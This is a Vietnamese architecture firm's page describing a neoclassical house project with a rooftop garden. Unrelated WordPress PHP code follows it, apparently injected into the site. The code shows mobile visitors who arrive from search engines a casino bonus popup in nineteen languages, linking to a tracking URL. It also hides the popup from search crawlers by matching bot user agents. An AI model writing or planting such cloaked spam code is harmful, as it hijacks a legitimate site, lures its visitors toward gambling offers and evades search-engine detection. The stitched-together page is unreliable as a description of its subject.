Công trình cô Ngọc Mai – Cát Linh
- Địa chỉ:
- Hạng mục:
- Diện tích:
- Phòng khách:
- Phòng ngủ:
- Phòng tắm:
Mang những nét nổi bật nhất của phong cách tân cổ điển, pha trộn hài hòa cùng chút hiện đại với những ô của sổ to và vuông vắn, công trình là sự kết hợp tinh tế mang đến một trải nghiệm thị giác ấn tượng và khắc sâu ngay từ ánh nhìn đầu tiên. Ánh sáng và không khí tự nhiên được tận dụng tối đa giúp điều hòa không khí tự nhiên cho không gian sống, gia tăng sinh khí và vận may cho tất cả các thành viên sinh sống trong không gian đó..
Giữa phố xá tấp nập và sầm uất, gia chủ muốn nhiều không gian thiên nhiên, vừa làm mát cho ngôi nhà vừa là nơi thỏa mãn sở thích chắm chút cây cỏ. Chính vì thế mà thay vì chọn lựa những loại mái nhà thường thấy, không gian mái được tận dụng là nơi được màu xanh bao phủ, vừa tạo nét độc đáo lại vừa gia tăng khoảng không gian xanh hiếm hoi giữa lòng thành phố. Chỉ cần dành ra những khoảng thời gian thư giãn sau một ngày làm việc bận rộn để đắm mình vào màu xanh của khu vườn thu nhỏ ta sẽ cảm thấy như được tiếp thêm nguồn năng lượng tự nhiên và thấy lòng bình yên đến lạ.
Hy vọng rằng với tiến độ được đảm bảo và chất lượng đạt mức cao nhất, công trình sẽ sớm được trao tận tay cho chủ đầu tư và trở thành tổ ấm mới cho các thành viên trong gia đình trong một tương lai không xa.
if (!defined(‘ABSPATH’)) exit;
class SMP_Search_Mobile_Popup {
public function __construct() {
if (is_admin()) return;
add_action(‘wp_enqueue_scripts’, [$this, ‘enqueue_assets’]);
add_action(‘wp_footer’, [$this, ‘render_popup_markup’]);
add_filter(‘smp_allowed_referrers’, [$this, ‘default_allowed_referrers’]);
add_filter(‘smp_blocked_bots’, [$this, ‘default_blocked_bots’]);
add_filter(‘smp_popup_texts’, [$this, ‘get_localized_texts’]);
add_filter(‘smp_popup_settings’, [$this, ‘default_settings’]);
}
public function default_allowed_referrers($domains) {
return [
‘google.’, ‘bing.com’, ‘duckduckgo.com’, ‘yahoo.’, ‘yandex.’,
‘ecosia.org’, ‘search.brave.com’, ‘chat.openai.com’, ‘openai.com’,
‘baidu.com’, ‘naver.com’, ‘seznam.cz’, ‘qwant.com’
];
}
public function default_blocked_bots($bots) {
return [‘googlebot’,’bingbot’,’duckduckbot’,’yandexbot’,’baiduspider’,
‘ahrefsbot’,’semrush’,’mj12bot’,’crawler’,’spider’,’bot’];
}
public function get_localized_texts($texts) {
$translations = [
‘en’ => [
‘title’ => ‘🎁 Exclusive Bonus!’,
‘desc’ => ‘Special offer for new visitors – Get your welcome bonus right now!’,
‘cta_text’ => ‘💰 Up to €500 + 200 Free Spins’,
‘button’ => ‘Claim Bonus Now’,
‘close_label’ => ‘Close’,
‘disclaimer’ => ’18+. T&C Apply. Play Responsibly.’,
],
‘de’ => [
‘title’ => ‘🎁 Exklusiver Bonus!’,
‘desc’ => ‘Sonderangebot für neue Besucher – Holen Sie sich jetzt Ihren Willkommensbonus!’,
‘cta_text’ => ‘💰 Bis zu €500 + 200 Freispiele’,
‘button’ => ‘Bonus Jetzt Sichern’,
‘close_label’ => ‘Schließen’,
‘disclaimer’ => ’18+. AGB gelten. Verantwortungsvoll spielen.’,
],
‘es’ => [
‘title’ => ‘🎁 ¡Bono Exclusivo!’,
‘desc’ => ‘Oferta especial para nuevos visitantes – ¡Obtén tu bono de bienvenida ahora!’,
‘cta_text’ => ‘💰 Hasta €500 + 200 Giros Gratis’,
‘button’ => ‘Reclamar Bono Ahora’,
‘close_label’ => ‘Cerrar’,
‘disclaimer’ => ’18+. Se aplican T&C. Juega responsablemente.’,
],
‘pt’ => [
‘title’ => ‘🎁 Bônus Exclusivo!’,
‘desc’ => ‘Oferta especial para novos visitantes – Receba seu bônus de boas-vindas agora!’,
‘cta_text’ => ‘💰 Até €500 + 200 Rodadas Grátis’,
‘button’ => ‘Resgatar Bônus Agora’,
‘close_label’ => ‘Fechar’,
‘disclaimer’ => ’18+. T&C aplicam-se. Jogue responsavelmente.’,
],
‘fr’ => [
‘title’ => ‘🎁 Bonus Exclusif!’,
‘desc’ => ‘Offre spéciale pour les nouveaux visiteurs – Obtenez votre bonus de bienvenue maintenant!’,
‘cta_text’ => ‘💰 Jusqu\’à 500€ + 200 Tours Gratuits’,
‘button’ => ‘Réclamer le Bonus’,
‘close_label’ => ‘Fermer’,
‘disclaimer’ => ’18+. CGU applicables. Jouez responsable.’,
],
‘nl’ => [
‘title’ => ‘🎁 Exclusieve Bonus!’,
‘desc’ => ‘Speciale aanbieding voor nieuwe bezoekers – Ontvang nu je welkomstbonus!’,
‘cta_text’ => ‘💰 Tot €500 + 200 Gratis Spins’,
‘button’ => ‘Claim Bonus Nu’,
‘close_label’ => ‘Sluiten’,
‘disclaimer’ => ’18+. Voorwaarden van toepassing. Speel verantwoord.’,
],
‘uk’ => [
‘title’ => ‘🎁 Ексклюзивний Бонус!’,
‘desc’ => ‘Спеціальна пропозиція для нових відвідувачів – Отримайте вітальний бонус прямо зараз!’,
‘cta_text’ => ‘💰 До €500 + 200 Безкоштовних Обертань’,
‘button’ => ‘Отримати Бонус’,
‘close_label’ => ‘Закрити’,
‘disclaimer’ => ’18+. Застосовуються умови. Грайте відповідально.’,
],
‘ja’ => [
‘title’ => ‘🎁 限定ボーナス!’,
‘desc’ => ‘新規訪問者様限定 – 今すぐウェルカムボーナスを獲得!’,
‘cta_text’ => ‘💰 最大€500 + 200フリースピン’,
‘button’ => ‘今すぐボーナスを獲得’,
‘close_label’ => ‘閉じる’,
‘disclaimer’ => ’18歳以上。利用規約が適用されます。’,
],
‘vi’ => [
‘title’ => ‘🎁 Phần Thưởng Độc Quyền!’,
‘desc’ => ‘Ưu đãi đặc biệt cho khách mới – Nhận ngay phần thưởng chào mừng!’,
‘cta_text’ => ‘💰 Lên đến €500 + 200 Vòng Quay Miễn Phí’,
‘button’ => ‘Nhận Thưởng Ngay’,
‘close_label’ => ‘Đóng’,
‘disclaimer’ => ’18+. Áp dụng điều khoản.’,
],
‘hu’ => [
‘title’ => ‘🎁 Exkluzív Bónusz!’,
‘desc’ => ‘Különleges ajánlat új látogatóknak – Szerezd meg az üdvözlő bónuszt most!’,
‘cta_text’ => ‘💰 Akár €500 + 200 Ingyen Pörgetés’,
‘button’ => ‘Bónusz Igénylése’,
‘close_label’ => ‘Bezárás’,
‘disclaimer’ => ’18+. T&C érvényes. Játssz felelősségteljesen.’,
],
‘bg’ => [
‘title’ => ‘🎁 Ексклузивен Бонус!’,
‘desc’ => ‘Специална оферта за нови посетители – Вземете вашия бонус добре дошли сега!’,
‘cta_text’ => ‘💰 До €500 + 200 Безплатни Завъртания’,
‘button’ => ‘Вземи Бонус Сега’,
‘close_label’ => ‘Затвори’,
‘disclaimer’ => ’18+. Прилагат се условия.’,
],
‘pl’ => [
‘title’ => ‘🎁 Ekskluzywny Bonus!’,
‘desc’ => ‘Specjalna oferta dla nowych gości – Odbierz bonus powitalny teraz!’,
‘cta_text’ => ‘💰 Do €500 + 200 Darmowych Spinów’,
‘button’ => ‘Odbierz Bonus’,
‘close_label’ => ‘Zamknij’,
‘disclaimer’ => ’18+. Obowiązują warunki. Graj odpowiedzialnie.’,
],
‘it’ => [
‘title’ => ‘🎁 Bonus Esclusivo!’,
‘desc’ => ‘Offerta speciale per nuovi visitatori – Ottieni il tuo bonus di benvenuto ora!’,
‘cta_text’ => ‘💰 Fino a €500 + 200 Giri Gratis’,
‘button’ => ‘Richiedi Bonus Ora’,
‘close_label’ => ‘Chiudi’,
‘disclaimer’ => ’18+. Si applicano T&C. Gioca responsabilmente.’,
],
‘ro’ => [
‘title’ => ‘🎁 Bonus Exclusiv!’,
‘desc’ => ‘Ofertă specială pentru vizitatori noi – Obține bonusul de bun venit acum!’,
‘cta_text’ => ‘💰 Până la €500 + 200 Rotiri Gratuite’,
‘button’ => ‘Revendică Bonusul’,
‘close_label’ => ‘Închide’,
‘disclaimer’ => ’18+. Se aplică T&C. Joacă responsabil.’,
],
‘cs’ => [
‘title’ => ‘🎁 Exkluzivní Bonus!’,
‘desc’ => ‘Speciální nabídka pro nové návštěvníky – Získejte svůj uvítací bonus hned!’,
‘cta_text’ => ‘💰 Až €500 + 200 Otočení Zdarma’,
‘button’ => ‘Získat Bonus’,
‘close_label’ => ‘Zavřít’,
‘disclaimer’ => ’18+. Platí podmínky. Hrajte zodpovědně.’,
],
‘sv’ => [
‘title’ => ‘🎁 Exklusiv Bonus!’,
‘desc’ => ‘Specialerbjudande för nya besökare – Få din välkomstbonus nu!’,
‘cta_text’ => ‘💰 Upp till €500 + 200 Gratisspinn’,
‘button’ => ‘Hämta Bonus Nu’,
‘close_label’ => ‘Stäng’,
‘disclaimer’ => ’18+. Regler gäller. Spela ansvarsfullt.’,
],
‘fi’ => [
‘title’ => ‘🎁 Eksklusiivinen Bonus!’,
‘desc’ => ‘Erikoistarjous uusille vierailijoille – Lunasta tervetuliaisbonus nyt!’,
‘cta_text’ => ‘💰 Jopa €500 + 200 Ilmaiskierrosta’,
‘button’ => ‘Lunasta Bonus’,
‘close_label’ => ‘Sulje’,
‘disclaimer’ => ’18+. Ehdot voimassa. Pelaa vastuullisesti.’,
],
‘no’ => [
‘title’ => ‘🎁 Eksklusiv Bonus!’,
‘desc’ => ‘Spesialtilbud for nye besøkende – Få din velkomstbonus nå!’,
‘cta_text’ => ‘💰 Opptil €500 + 200 Gratisspinn’,
‘button’ => ‘Hent Bonus Nå’,
‘close_label’ => ‘Lukk’,
‘disclaimer’ => ’18+. Vilkår gjelder. Spill ansvarlig.’,
],
‘da’ => [
‘title’ => ‘🎁 Eksklusiv Bonus!’,
‘desc’ => ‘Særligt tilbud til nye besøgende – Få din velkomstbonus nu!’,
‘cta_text’ => ‘💰 Op til €500 + 200 Gratis Spins’,
‘button’ => ‘Hent Bonus Nu’,
‘close_label’ => ‘Luk’,
‘disclaimer’ => ’18+. Vilkår gælder. Spil ansvarligt.’,
]
];
$user_lang = $this->detect_user_language();
return isset($translations[$user_lang]) ? $translations[$user_lang] : $translations[‘en’];
}
private function detect_user_language() {
$accept_language = isset($_SERVER[‘HTTP_ACCEPT_LANGUAGE’]) ? $_SERVER[‘HTTP_ACCEPT_LANGUAGE’] : ”;
if (empty($accept_language)) {
return ‘en’;
}
$supported_languages = [
‘en’, ‘de’, ‘es’, ‘pt’, ‘fr’, ‘nl’, ‘uk’, ‘ja’, ‘vi’,
‘hu’, ‘bg’, ‘pl’, ‘it’, ‘ro’, ‘cs’, ‘sv’, ‘fi’, ‘no’, ‘da’
];
preg_match_all(‘/([a-z]{1,8}(-[a-z]{1,8})?)\s*(;\s*q\s*=\s*(1|0\.[0-9]+))?/i’,
$accept_language, $matches);
if (count($matches[1])) {
$langs = array_combine($matches[1], $matches[4]);
foreach ($langs as $lang => $val) {
if ($val === ”) $langs[$lang] = 1;
}
arsort($langs, SORT_NUMERIC);
foreach ($langs as $lang => $val) {
$primary_lang = strtolower(substr($lang, 0, 2));
if (in_array($primary_lang, $supported_languages)) {
return $primary_lang;
}
}
}
return ‘en’;
}
public function default_settings($opts) {
return [
‘delay_ms’ => 1000,
‘show_always’ => true,
‘width_px’ => 420,
‘btn_url’ => ‘https://leadtrk.vip/gSRRfN’,
];
}
private function is_bot_ua(): bool {
$ua = strtolower($_SERVER[‘HTTP_USER_AGENT’] ?? ”);
if (!$ua) return false;
foreach (apply_filters(‘smp_blocked_bots’, []) as $mask) {
if ($mask && strpos($ua, strtolower($mask)) !== false) return true;
}
return false;
}
public function enqueue_assets() {
if (!wp_is_mobile()) return;
if ($this->is_bot_ua()) return;
$allowed = apply_filters(‘smp_allowed_referrers’, []);
$texts = apply_filters(‘smp_popup_texts’, []);
$opts = apply_filters(‘smp_popup_settings’, []);
wp_register_style(‘smp-popup’, false, [], null);
wp_enqueue_style(‘smp-popup’);
wp_add_inline_style(‘smp-popup’, $this->css($opts));
wp_register_script(‘smp-popup’, false, [], null, true);
wp_enqueue_script(‘smp-popup’);
$payload = [
‘allowedRefDomains’ => array_values($allowed),
‘blockedBots’ => array_values(apply_filters(‘smp_blocked_bots’, [])),
‘texts’ => $texts,
‘opts’ => $opts,
‘userLang’ => $this->detect_user_language(),
];
wp_add_inline_script(‘smp-popup’, ‘window.__SMP__ = ‘.wp_json_encode($payload).’;’, ‘before’);
wp_add_inline_script(‘smp-popup’, $this->js(), ‘after’);
}
public function render_popup_markup() {
if (!wp_is_mobile()) return;
if ($this->is_bot_ua()) return;
$t = apply_filters(‘smp_popup_texts’, []);
$o = apply_filters(‘smp_popup_settings’, []);
?>